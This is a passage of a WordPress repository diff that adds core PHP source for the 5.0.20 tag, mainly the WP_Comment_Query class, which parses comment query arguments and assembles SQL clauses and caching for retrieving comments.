+	 * Get all available block attributes including possible layout attribute from Columns block.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array Array of attributes.
+	 */
+	public function get_attributes() {
+		return is_array( $this->attributes ) ?
+			array_merge(
+				$this->attributes,
+				array(
+					'layout' => array(
+						'type' => 'string',
+					),
+				)
+			) :
+			array(
+				'layout' => array(
+					'type' => 'string',
+				),
+			);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-comment-query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-comment-query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-comment-query.php	(revision 56912)
@@ -0,0 +1,1148 @@
+<?php
+/**
+ * Comment API: WP_Comment_Query class
+ *
+ * @package WordPress
+ * @subpackage Comments
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used for querying comments.
+ *
+ * @since 3.1.0
+ *
+ * @see WP_Comment_Query::__construct() for accepted arguments.
+ */
+class WP_Comment_Query {
+
+	/**
+	 * SQL for database query.
+	 *
+	 * @since 4.0.1
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * Metadata query container
+	 *
+	 * @since 3.5.0
+	 * @var object WP_Meta_Query
+	 */
+	public $meta_query = false;
+
+	/**
+	 * Metadata query clauses.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $meta_query_clauses;
+
+	/**
+	 * SQL query clauses.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $sql_clauses = array(
+		'select'  => '',
+		'from'    => '',
+		'where'   => array(),
+		'groupby' => '',
+		'orderby' => '',
+		'limits'  => '',
+	);
+
+	/**
+	 * SQL WHERE clause.
+	 *
+	 * Stored after the {@see 'comments_clauses'} filter is run on the compiled WHERE sub-clauses.
+	 *
+	 * @since 4.4.2
+	 * @var string
+	 */
+	protected $filtered_where_clause;
+
+	/**
+	 * Date query container
+	 *
+	 * @since 3.7.0
+	 * @var object WP_Date_Query
+	 */
+	public $date_query = false;
+
+	/**
+	 * Query vars set by the user.
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 */
+	public $query_vars;
+
+	/**
+	 * Default values for query vars.
+	 *
+	 * @since 4.2.0
+	 * @var array
+	 */
+	public $query_var_defaults;
+
+	/**
+	 * List of comments located by the query.
+	 *
+	 * @since 4.0.0
+	 * @var array
+	 */
+	public $comments;
+
+	/**
+	 * The amount of found comments for the current query.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $found_comments = 0;
+
+	/**
+	 * The number of pages.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $max_num_pages = 0;
+
+	/**
+	 * Make private/protected methods readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|false Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		if ( 'get_search_sql' === $name ) {
+			return call_user_func_array( array( $this, $name ), $arguments );
+		}
+		return false;
+	}
+
+	/**
+	 * Constructor.
+	 *
+	 * Sets up the comment query, based on the query vars passed.
+	 *
+	 * @since 4.2.0
+	 * @since 4.4.0 `$parent__in` and `$parent__not_in` were added.
+	 * @since 4.4.0 Order by `comment__in` was added. `$update_comment_meta_cache`, `$no_found_rows`,
+	 *              `$hierarchical`, and `$update_comment_post_cache` were added.
+	 * @since 4.5.0 Introduced the `$author_url` argument.
+	 * @since 4.6.0 Introduced the `$cache_domain` argument.
+	 * @since 4.9.0 Introduced the `$paged` argument.
+	 *
+	 * @param string|array $query {
+	 *     Optional. Array or query string of comment query parameters. Default empty.
+	 *
+	 *     @type string       $author_email              Comment author email address. Default empty.
+	 *     @type string       $author_url                Comment author URL. Default empty.
+	 *     @type array        $author__in                Array of author IDs to include comments for. Default empty.
+	 *     @type array        $author__not_in            Array of author IDs to exclude comments for. Default empty.
+	 *     @type array        $comment__in               Array of comment IDs to include. Default empty.
+	 *     @type array        $comment__not_in           Array of comment IDs to exclude. Default empty.
+	 *     @type bool         $count                     Whether to return a comment count (true) or array of
+	 *                                                   comment objects (false). Default false.
+	 *     @type array        $date_query                Date query clauses to limit comments by. See WP_Date_Query.
+	 *                                                   Default null.
+	 *     @type string       $fields                    Comment fields to return. Accepts 'ids' for comment IDs
+	 *                                                   only or empty for all fields. Default empty.
+	 *     @type int          $ID                        Currently unused.
+	 *     @type array        $include_unapproved        Array of IDs or email addresses of users whose unapproved
+	 *                                                   comments will be returned by the query regardless of
+	 *                                                   `$status`. Default empty.
+	 *     @type int          $karma                     Karma score to retrieve matching comments for.
+	 *                                                   Default empty.
+	 *     @type string       $meta_key                  Include comments with a matching comment meta key.
+	 *                                                   Default empty.
+	 *     @type string       $meta_value                Include comments with a matching comment meta value.
+	 *                                                   Requires `$meta_key` to be set. Default empty.
+	 *     @type array        $meta_query                Meta query clauses to limit retrieved comments by.
+	 *                                                   See WP_Meta_Query. Default empty.
+	 *     @type int          $number                    Maximum number of comments to retrieve.
+	 *                                                   Default empty (no limit).
+	 *     @type int          $paged                     When used with $number, defines the page of results to return.
+	 *                                                   When used with $offset, $offset takes precedence. Default 1.
+	 *     @type int          $offset                    Number of comments to offset the query. Used to build
+	 *                                                   LIMIT clause. Default 0.
+	 *     @type bool         $no_found_rows             Whether to disable the `SQL_CALC_FOUND_ROWS` query.
+	 *                                                   Default: true.
+	 *     @type string|array $orderby                   Comment status or array of statuses. To use 'meta_value'
+	 *                                                   or 'meta_value_num', `$meta_key` must also be defined.
+	 *                                                   To sort by a specific `$meta_query` clause, use that
+	 *                                                   clause's array key. Accepts 'comment_agent',
+	 *                                                   'comment_approved', 'comment_author',
+	 *                                                   'comment_author_email', 'comment_author_IP',
+	 *                                                   'comment_author_url', 'comment_content', 'comment_date',
+	 *                                                   'comment_date_gmt', 'comment_ID', 'comment_karma',
+	 *                                                   'comment_parent', 'comment_post_ID', 'comment_type',
+	 *                                                   'user_id', 'comment__in', 'meta_value', 'meta_value_num',
+	 *                                                   the value of $meta_key, and the array keys of
+	 *                                                   `$meta_query`. Also accepts false, an empty array, or
+	 *                                                   'none' to disable `ORDER BY` clause.
+	 *                                                   Default: 'comment_date_gmt'.
+	 *     @type string       $order                     How to order retrieved comments. Accepts 'ASC', 'DESC'.
+	 *                                                   Default: 'DESC'.
+	 *     @type int          $parent                    Parent ID of comment to retrieve children of.
+	 *                                                   Default empty.
+	 *     @type array        $parent__in                Array of parent IDs of comments to retrieve children for.
+	 *                                                   Default empty.
+	 *     @type array        $parent__not_in            Array of parent IDs of comments *not* to retrieve
+	 *                                                   children for. Default empty.
+	 *     @type array        $post_author__in           Array of author IDs to retrieve comments for.
+	 *                                                   Default empty.
+	 *     @type array        $post_author__not_in       Array of author IDs *not* to retrieve comments for.
+	 *                                                   Default empty.
+	 *     @type int          $post_ID                   Currently unused.
+	 *     @type int          $post_id                   Limit results to those affiliated with a given post ID.
+	 *                                                   Default 0.
+	 *     @type array        $post__in                  Array of post IDs to include affiliated comments for.
+	 *                                                   Default empty.
+	 *     @type array        $post__not_in              Array of post IDs to exclude affiliated comments for.
+	 *                                                   Default empty.
+	 *     @type int          $post_author               Post author ID to limit results by. Default empty.
+	 *     @type string|array $post_status               Post status or array of post statuses to retrieve
+	 *                                                   affiliated comments for. Pass 'any' to match any value.
+	 *                                                   Default empty.
+	 *     @type string       $post_type                 Post type or array of post types to retrieve affiliated
+	 *                                                   comments for. Pass 'any' to match any value. Default empty.
+	 *     @type string       $post_name                 Post name to retrieve affiliated comments for.
+	 *                                                   Default empty.
+	 *     @type int          $post_parent               Post parent ID to retrieve affiliated comments for.
+	 *                                                   Default empty.
+	 *     @type string       $search                    Search term(s) to retrieve matching comments for.
+	 *                                                   Default empty.
+	 *     @type string       $status                    Comment status to limit results by. Accepts 'hold'
+	 *                                                   (`comment_status=0`), 'approve' (`comment_status=1`),
+	 *                                                   'all', or a custom comment status. Default 'all'.
+	 *     @type string|array $type                      Include comments of a given type, or array of types.
+	 *                                                   Accepts 'comment', 'pings' (includes 'pingback' and
+	 *                                                   'trackback'), or anycustom type string. Default empty.
+	 *     @type array        $type__in                  Include comments from a given array of comment types.
+	 *                                                   Default empty.
+	 *     @type array        $type__not_in              Exclude comments from a given array of comment types.
+	 *                                                   Default empty.
+	 *     @type int          $user_id                   Include comments for a specific user ID. Default empty.
+	 *     @type bool|string  $hierarchical              Whether to include comment descendants in the results.
+	 *                                                   'threaded' returns a tree, with each comment's children
+	 *                                                   stored in a `children` property on the `WP_Comment`
+	 *                                                   object. 'flat' returns a flat array of found comments plus
+	 *                                                   their children. Pass `false` to leave out descendants.
+	 *                                                   The parameter is ignored (forced to `false`) when
+	 *                                                   `$fields` is 'ids' or 'counts'. Accepts 'threaded',
+	 *                                                   'flat', or false. Default: false.
+ 	 *     @type string       $cache_domain              Unique cache key to be produced when this query is stored in
+	 *                                                   an object cache. Default is 'core'.
+	 *     @type bool         $update_comment_meta_cache Whether to prime the metadata cache for found comments.
+	 *                                                   Default true.
+	 *     @type bool         $update_comment_post_cache Whether to prime the cache for comment posts.
+	 *                                                   Default false.
+	 * }
+	 */
+	public function __construct( $query = '' ) {
+		$this->query_var_defaults = array(
+			'author_email' => '',
+			'author_url' => '',
+			'author__in' => '',
+			'author__not_in' => '',
+			'include_unapproved' => '',
+			'fields' => '',
+			'ID' => '',
+			'comment__in' => '',
+			'comment__not_in' => '',
+			'karma' => '',
+			'number' => '',
+			'offset' => '',
+			'no_found_rows' => true,
+			'orderby' => '',
+			'order' => 'DESC',
+			'paged' => 1,
+			'parent' => '',
+			'parent__in' => '',
+			'parent__not_in' => '',
+			'post_author__in' => '',
+			'post_author__not_in' => '',
+			'post_ID' => '',
+			'post_id' => 0,
+			'post__in' => '',
+			'post__not_in' => '',
+			'post_author' => '',
+			'post_name' => '',
+			'post_parent' => '',
+			'post_status' => '',
+			'post_type' => '',
+			'status' => 'all',
+			'type' => '',
+			'type__in' => '',
+			'type__not_in' => '',
+			'user_id' => '',
+			'search' => '',
+			'count' => false,
+			'meta_key' => '',
+			'meta_value' => '',
+			'meta_query' => '',
+			'date_query' => null, // See WP_Date_Query
+			'hierarchical' => false,
+			'cache_domain' => 'core',
+			'update_comment_meta_cache' => true,
+			'update_comment_post_cache' => false,
+		);
+
+		if ( ! empty( $query ) ) {
+			$this->query( $query );
+		}
+	}
+
+	/**
+	 * Parse arguments passed to the comment query with default query parameters.
+	 *
+	 * @since 4.2.0 Extracted from WP_Comment_Query::query().
+	 *
+	 *
+	 * @param string|array $query WP_Comment_Query arguments. See WP_Comment_Query::__construct()
+	 */
+	public function parse_query( $query = '' ) {
+		if ( empty( $query ) ) {
+			$query = $this->query_vars;
+		}
+
+		$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );
+
+		/**
+		 * Fires after the comment query vars have been parsed.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param WP_Comment_Query $this The WP_Comment_Query instance (passed by reference).
+		 */
+		do_action_ref_array( 'parse_comment_query', array( &$this ) );
+	}
+
+	/**
+	 * Sets up the WordPress query for retrieving comments.
+	 *
+	 * @since 3.1.0
+	 * @since 4.1.0 Introduced 'comment__in', 'comment__not_in', 'post_author__in',
+	 *              'post_author__not_in', 'author__in', 'author__not_in', 'post__in',
+	 *              'post__not_in', 'include_unapproved', 'type__in', and 'type__not_in'
+	 *              arguments to $query_vars.
+	 * @since 4.2.0 Moved parsing to WP_Comment_Query::parse_query().
+	 *
+	 * @param string|array $query Array or URL query string of parameters.
+	 * @return array|int List of comments, or number of comments when 'count' is passed as a query var.
+	 */
+	public function query( $query ) {
+		$this->query_vars = wp_parse_args( $query );
+		return $this->get_comments();
+	}
+
+	/**
+	 * Get a list of comments matching the query vars.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @return int|array List of comments or number of found comments if `$count` argument is true.
+	 */
+	public function get_comments() {
+		global $wpdb;
+
+		$this->parse_query();
+
+		// Parse meta query
+		$this->meta_query = new WP_Meta_Query();
+		$this->meta_query->parse_query_vars( $this->query_vars );
+
+		/**
+		 * Fires before comments are retrieved.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param WP_Comment_Query $this Current instance of WP_Comment_Query (passed by reference).
+		 */
+		do_action_ref_array( 'pre_get_comments', array( &$this ) );
+
+		// Reparse query vars, in case they were modified in a 'pre_get_comments' callback.
+		$this->meta_query->parse_query_vars( $this->query_vars );
+		if ( ! empty( $this->meta_query->queries ) ) {
+			$this->meta_query_clauses = $this->meta_query->get_sql( 'comment', $wpdb->comments, 'comment_ID', $this );
+		}
+
+		/*
+		 * Only use the args defined in the query_var_defaults to compute the key,
+		 * but ignore 'fields', which does not affect query results.
+		 */
+		$_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) );
+		unset( $_args['fields'] );
+
+		$key = md5( serialize( $_args ) );
+		$last_changed = wp_cache_get_last_changed( 'comment' );
+
+		$cache_key   = "get_comments:$key:$last_changed";
+		$cache_value = wp_cache_get( $cache_key, 'comment' );
+		if ( false === $cache_value ) {
+			$comment_ids = $this->get_comment_ids();
+			if ( $comment_ids ) {
+				$this->set_found_comments();
+			}
+
+			$cache_value = array(
+				'comment_ids'    => $comment_ids,
+				'found_comments' => $this->found_comments,
+			);
+			wp_cache_add( $cache_key, $cache_value, 'comment' );
+		} else {
+			$comment_ids          = $cache_value['comment_ids'];
+			$this->found_comments = $cache_value['found_comments'];
+		}
+
+		if ( $this->found_comments && $this->query_vars['number'] ) {
+			$this->max_num_pages = ceil( $this->found_comments / $this->query_vars['number'] );
+		}
+
+		// If querying for a count only, there's nothing more to do.
+		if ( $this->query_vars['count'] ) {
+			// $comment_ids is actually a count in this case.
+			return intval( $comment_ids );
+		}
+
+		$comment_ids = array_map( 'intval', $comment_ids );
+
+		if ( 'ids' == $this->query_vars['fields'] ) {
+			$this->comments = $comment_ids;
+			return $this->comments;
+		}
+
+		_prime_comment_caches( $comment_ids, $this->query_vars['update_comment_meta_cache'] );
+
+		// Fetch full comment objects from the primed cache.
+		$_comments = array();
+		foreach ( $comment_ids as $comment_id ) {
+			if ( $_comment = get_comment( $comment_id ) ) {
+				$_comments[] = $_comment;
+			}
+		}
+
+		// Prime comment post caches.
+		if ( $this->query_vars['update_comment_post_cache'] ) {
+			$comment_post_ids = array();
+			foreach ( $_comments as $_comment ) {
+				$comment_post_ids[] = $_comment->comment_post_ID;
+			}
+
+			_prime_post_caches( $comment_post_ids, false, false );
+		}
+
+		/**
+		 * Filters the comment query results.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array            $_comments An array of comments.
+		 * @param WP_Comment_Query $this     Current instance of WP_Comment_Query (passed by reference).
+		 */
+		$_comments = apply_filters_ref_array( 'the_comments', array( $_comments, &$this ) );
+
+		// Convert to WP_Comment instances
+		$comments = array_map( 'get_comment', $_comments );
+
+		if ( $this->query_vars['hierarchical'] ) {
+			$comments = $this->fill_descendants( $comments );
+		}
+
+		$this->comments = $comments;
+		return $this->comments;
+	}
+
+	/**
+	 * Used internally to get a list of comment IDs matching the query vars.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 */
+	protected function get_comment_ids() {
+		global $wpdb;
+
+		// Assemble clauses related to 'comment_approved'.
+		$approved_clauses = array();
+
+		// 'status' accepts an array or a comma-separated string.
+		$status_clauses = array();
+		$statuses = $this->query_vars['status'];
+		if ( ! is_array( $statuses ) ) {
+			$statuses = preg_split( '/[\s,]+/', $statuses );
+		}
+
+		// 'any' overrides other statuses.
+		if ( ! in_array( 'any', $statuses ) ) {
+			foreach ( $statuses as $status ) {
+				switch ( $status ) {
+					case 'hold' :
+						$status_clauses[] = "comment_approved = '0'";
+						break;
+
+					case 'approve' :
+						$status_clauses[] = "comment_approved = '1'";
+						break;
+
+					case 'all' :
+					case '' :
+						$status_clauses[] = "( comment_approved = '0' OR comment_approved = '1' )";
+						break;
+
+					default :
+						$status_clauses[] = $wpdb->prepare( "comment_approved = %s", $status );
+						break;
+				}
+			}
+
+			if ( ! empty( $status_clauses ) ) {
+				$approved_clauses[] = '( ' . implode( ' OR ', $status_clauses ) . ' )';
+			}
+		}
+
+		// User IDs or emails whose unapproved comments are included, regardless of $status.
+		if ( ! empty( $this->query_vars['include_unapproved'] ) ) {
+			$include_unapproved = $this->query_vars['include_unapproved'];
+
+			// Accepts arrays or comma-separated strings.
+			if ( ! is_array( $include_unapproved ) ) {
+				$include_unapproved = preg_split( '/[\s,]+/', $include_unapproved );
+			}
+
+			$unapproved_ids = $unapproved_emails = array();
+			foreach ( $include_unapproved as $unapproved_identifier ) {
+				// Numeric values are assumed to be user ids.
+				if ( is_numeric( $unapproved_identifier ) ) {
+					$approved_clauses[] = $wpdb->prepare( "( user_id = %d AND comment_approved = '0' )", $unapproved_identifier );
+
+				// Otherwise we match against email addresses.
+				} else {
+					$approved_clauses[] = $wpdb->prepare( "( comment_author_email = %s AND comment_approved = '0' )", $unapproved_identifier );
+				}
+			}
+		}
+
+		// Collapse comment_approved clauses into a single OR-separated clause.
+		if ( ! empty( $approved_clauses ) ) {
+			if ( 1 === count( $approved_clauses ) ) {
+				$this->sql_clauses['where']['approved'] = $approved_clauses[0];
+			} else {
+				$this->sql_clauses['where']['approved'] = '( ' . implode( ' OR ', $approved_clauses ) . ' )';
+			}
+		}
+
+		$order = ( 'ASC' == strtoupper( $this->query_vars['order'] ) ) ? 'ASC' : 'DESC';
+
+		// Disable ORDER BY with 'none', an empty array, or boolean false.
+		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
+			$orderby = '';
+		} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
+			$ordersby = is_array( $this->query_vars['orderby'] ) ?
+				$this->query_vars['orderby'] :
+				preg_split( '/[,\s]/', $this->query_vars['orderby'] );
+
+			$orderby_array = array();
+			$found_orderby_comment_ID = false;
+			foreach ( $ordersby as $_key => $_value ) {
+				if ( ! $_value ) {
+					continue;
+				}
+
+				if ( is_int( $_key ) ) {
+					$_orderby = $_value;
+					$_order = $order;
+				} else {
+					$_orderby = $_key;
+					$_order = $_value;
+				}
+
+				if ( ! $found_orderby_comment_ID && in_array( $_orderby, array( 'comment_ID', 'comment__in' ) ) ) {
+					$found_orderby_comment_ID = true;
+				}
+
+				$parsed = $this->parse_orderby( $_orderby );
+
+				if ( ! $parsed ) {
+					continue;
+				}
+
+				if ( 'comment__in' === $_orderby ) {
+					$orderby_array[] = $parsed;
+					continue;
+				}
+
+				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
+			}
+
+			// If no valid clauses were found, order by comment_date_gmt.
+			if ( empty( $orderby_array ) ) {
+				$orderby_array[] = "$wpdb->comments.comment_date_gmt $order";
+			}
+
+			// To ensure determinate sorting, always include a comment_ID clause.
+			if ( ! $found_orderby_comment_ID ) {
+				$comment_ID_order = '';
+
+				// Inherit order from comment_date or comment_date_gmt, if available.
+				foreach ( $orderby_array as $orderby_clause ) {
+					if ( preg_match( '/comment_date(?:_gmt)*\ (ASC|DESC)/', $orderby_clause, $match ) ) {
+						$comment_ID_order = $match[1];
+						break;
+					}
+				}
+
+				// If no date-related order is available, use the date from the first available clause.
+				if ( ! $comment_ID_order ) {
+					foreach ( $orderby_array as $orderby_clause ) {
+						if ( false !== strpos( 'ASC', $orderby_clause ) ) {
+							$comment_ID_order = 'ASC';
+						} else {
+							$comment_ID_order = 'DESC';
+						}
+
+						break;
+					}
+				}
+
+				// Default to DESC.
+				if ( ! $comment_ID_order ) {
+					$comment_ID_order = 'DESC';
+				}
+
+				$orderby_array[] = "$wpdb->comments.comment_ID $comment_ID_order";
+			}
+
+			$orderby = implode( ', ', $orderby_array );
+		} else {
+			$orderby = "$wpdb->comments.comment_date_gmt $order";
+		}
+
+		$number = absint( $this->query_vars['number'] );
+		$offset = absint( $this->query_vars['offset'] );
+		$paged = absint( $this->query_vars['paged'] );
+ 		$limits = '';
+
+		if ( ! empty( $number ) ) {
+			if ( $offset ) {
+				$limits = 'LIMIT ' . $offset . ',' . $number;
+			} else {
+				$limits = 'LIMIT ' . ( $number * ( $paged - 1 ) ) . ',' . $number;
+			}
+		}
+
+		if ( $this->query_vars['count'] ) {
+			$fields = 'COUNT(*)';
+		} else {
+			$fields = "$wpdb->comments.comment_ID";
+		}
+
+		$post_id = absint( $this->query_vars['post_id'] );
+		if ( ! empty( $post_id ) ) {
+			$this->sql_clauses['where']['post_id'] = $wpdb->prepare( 'comment_post_ID = %d', $post_id );
+		}
+
+		// Parse comment IDs for an IN clause.
+		if ( ! empty( $this->query_vars['comment__in'] ) ) {
+			$this->sql_clauses['where']['comment__in'] = "$wpdb->comments.comment_ID IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__in'] ) ) . ' )';
+		}
+
+		// Parse comment IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['comment__not_in'] ) ) {
+			$this->sql_clauses['where']['comment__not_in'] = "$wpdb->comments.comment_ID NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__not_in'] ) ) . ' )';
+		}
+
+		// Parse comment parent IDs for an IN clause.
+		if ( ! empty( $this->query_vars['parent__in'] ) ) {
+			$this->sql_clauses['where']['parent__in'] = 'comment_parent IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__in'] ) ) . ' )';
+		}
+
+		// Parse comment parent IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['parent__not_in'] ) ) {
+			$this->sql_clauses['where']['parent__not_in'] = 'comment_parent NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__not_in'] ) ) . ' )';
+		}
+
+		// Parse comment post IDs for an IN clause.
+		if ( ! empty( $this->query_vars['post__in'] ) ) {
+			$this->sql_clauses['where']['post__in'] = 'comment_post_ID IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__in'] ) ) . ' )';
+		}
+
+		// Parse comment post IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['post__not_in'] ) ) {
+			$this->sql_clauses['where']['post__not_in'] = 'comment_post_ID NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__not_in'] ) ) . ' )';
+		}
+
+		if ( '' !== $this->query_vars['author_email'] ) {
+			$this->sql_clauses['where']['author_email'] = $wpdb->prepare( 'comment_author_email = %s', $this->query_vars['author_email'] );
+		}
+
+		if ( '' !== $this->query_vars['author_url'] ) {
+			$this->sql_clauses['where']['author_url'] = $wpdb->prepare( 'comment_author_url = %s', $this->query_vars['author_url'] );
+		}
+
+		if ( '' !== $this->query_vars['karma'] ) {
+			$this->sql_clauses['where']['karma'] = $wpdb->prepare( 'comment_karma = %d', $this->query_vars['karma'] );
+		}
+
+		// Filtering by comment_type: 'type', 'type__in', 'type__not_in'.
+		$raw_types = array(
+			'IN' => array_merge( (array) $this->query_vars['type'], (array) $this->query_vars['type__in'] ),
+			'NOT IN' => (array) $this->query_vars['type__not_in'],
+		);
+
+		$comment_types = array();
+		foreach ( $raw_types as $operator => $_raw_types ) {
+			$_raw_types = array_unique( $_raw_types );
+
+			foreach ( $_raw_types as $type ) {
+				switch ( $type ) {
+					// An empty translates to 'all', for backward compatibility
+					case '':
+					case 'all' :
+						break;
+
+					case 'comment':
+					case 'comments':
+						$comment_types[ $operator ][] = "''";
+						break;
+
+					case 'pings':
+						$comment_types[ $operator ][] = "'pingback'";
+						$comment_types[ $operator ][] = "'trackback'";
+						break;
+
+					default:
+						$comment_types[ $operator ][] = $wpdb->prepare( '%s', $type );
+						break;
+				}
+			}
+
+			if ( ! empty( $comment_types[ $operator ] ) ) {
+				$types_sql = implode( ', ', $comment_types[ $operator ] );
+				$this->sql_clauses['where']['comment_type__' . strtolower( str_replace( ' ', '_', $operator ) ) ] = "comment_type $operator ($types_sql)";
+			}
+		}
+
+		$parent = $this->query_vars['parent'];
+		if ( $this->query_vars['hierarchical'] && ! $parent ) {
+			$parent = 0;
+		}
+
+		if ( '' !== $parent ) {
+			$this->sql_clauses['where']['parent'] = $wpdb->prepare( 'comment_parent = %d', $parent );
+		}
+
+		if ( is_array( $this->query_vars['user_id'] ) ) {
+			$this->sql_clauses['where']['user_id'] = 'user_id IN (' . implode( ',', array_map( 'absint', $this->query_vars['user_id'] ) ) . ')';
+		} elseif ( '' !== $this->query_vars['user_id'] ) {
+			$this->sql_clauses['where']['user_id'] = $wpdb->prepare( 'user_id = %d', $this->query_vars['user_id'] );
+		}
+
+		// Falsy search strings are ignored.
+		if ( strlen( $this->query_vars['search'] ) ) {
+			$search_sql = $this->get_search_sql(
+				$this->query_vars['search'],
+				array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_content' )
+			);
+
+			// Strip leading 'AND'.
+			$this->sql_clauses['where']['search'] = preg_replace( '/^\s*AND\s*/', '', $search_sql );
+		}
+
+		// If any post-related query vars are passed, join the posts table.
+		$join_posts_table = false;
+		$plucked = wp_array_slice_assoc( $this->query_vars, array( 'post_author', 'post_name', 'post_parent' ) );
+		$post_fields = array_filter( $plucked );
+
+		if ( ! empty( $post_fields ) ) {
+			$join_posts_table = true;
+			foreach ( $post_fields as $field_name => $field_value ) {
+				// $field_value may be an array.
+				$esses = array_fill( 0, count( (array) $field_value ), '%s' );
+				$this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ')', $field_value );
+			}
+		}
+
+		// 'post_status' and 'post_type' are handled separately, due to the specialized behavior of 'any'.
+		foreach ( array( 'post_status', 'post_type' ) as $field_name ) {
+			$q_values = array();
+			if ( ! empty( $this->query_vars[ $field_name ] ) ) {
+				$q_values = $this->query_vars[ $field_name ];
+				if ( ! is_array( $q_values ) ) {
+					$q_values = explode( ',', $q_values );
+				}
+
+				// 'any' will cause the query var to be ignored.
+				if ( in_array( 'any', $q_values, true ) || empty( $q_values ) ) {
+					continue;
+				}
+
+				$join_posts_table = true;
+
+				$esses = array_fill( 0, count( $q_values ), '%s' );
+				$this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ")", $q_values );
+			}
+		}
+
+		// Comment author IDs for an IN clause.
+		if ( ! empty( $this->query_vars['author__in'] ) ) {
+			$this->sql_clauses['where']['author__in'] = 'user_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__in'] ) ) . ' )';
+		}
+
+		// Comment author IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['author__not_in'] ) ) {
+			$this->sql_clauses['where']['author__not_in'] = 'user_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__not_in'] ) ) . ' )';
+		}
+
+		// Post author IDs for an IN clause.
+		if ( ! empty( $this->query_vars['post_author__in'] ) ) {
+			$join_posts_table = true;
+			$this->sql_clauses['where']['post_author__in'] = 'post_author IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__in'] ) ) . ' )';
+		}
+
+		// Post author IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['post_author__not_in'] ) ) {
+			$join_posts_table = true;
+			$this->sql_clauses['where']['post_author__not_in'] = 'post_author NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__not_in'] ) ) . ' )';
+		}
+
+		$join    = '';
+		$groupby = '';
+
+		if ( $join_posts_table ) {
+			$join .= "JOIN $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID";
+		}
+
+		if ( ! empty( $this->meta_query_clauses ) ) {
+			$join .= $this->meta_query_clauses['join'];
+
+			// Strip leading 'AND'.
+			$this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $this->meta_query_clauses['where'] );
+
+			if ( ! $this->query_vars['count'] ) {
+				$groupby = "{$wpdb->comments}.comment_ID";
+			}
+		}
+
+		if ( ! empty( $this->query_vars['date_query'] ) && is_array( $this->query_vars['date_query'] ) ) {
+			$this->date_query = new WP_Date_Query( $this->query_vars['date_query'], 'comment_date' );
+			$this->sql_clauses['where']['date_query'] = preg_replace( '/^\s*AND\s*/', '', $this->date_query->get_sql() );
+		}
+
+		$where = implode( ' AND ', $this->sql_clauses['where'] );
+
+		$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );
+		/**
+		 * Filters the comment query clauses.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array            $pieces A compacted array of comment query clauses.
+		 * @param WP_Comment_Query $this  Current instance of WP_Comment_Query (passed by reference).
+		 */
+		$clauses = apply_filters_ref_array( 'comments_clauses', array( compact( $pieces ), &$this ) );
+
+		$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
+		$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
+		$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
+		$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
+		$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
+		$groupby = isset( $clauses[ 'groupby' ] ) ? $clauses[ 'groupby' ] : '';
+
+		$this->filtered_where_clause = $where;
+
+		if ( $where ) {
+			$where = 'WHERE ' . $where;
+		}
+
+		if ( $groupby ) {
+			$groupby = 'GROUP BY ' . $groupby;
+		}
+
+		if ( $orderby ) {
+			$orderby = "ORDER BY $orderby";
+		}
+
+		$found_rows = '';
+		if ( ! $this->query_vars['no_found_rows'] ) {
+			$found_rows = 'SQL_CALC_FOUND_ROWS';
+		}
+
+		$this->sql_clauses['select']  = "SELECT $found_rows $fields";
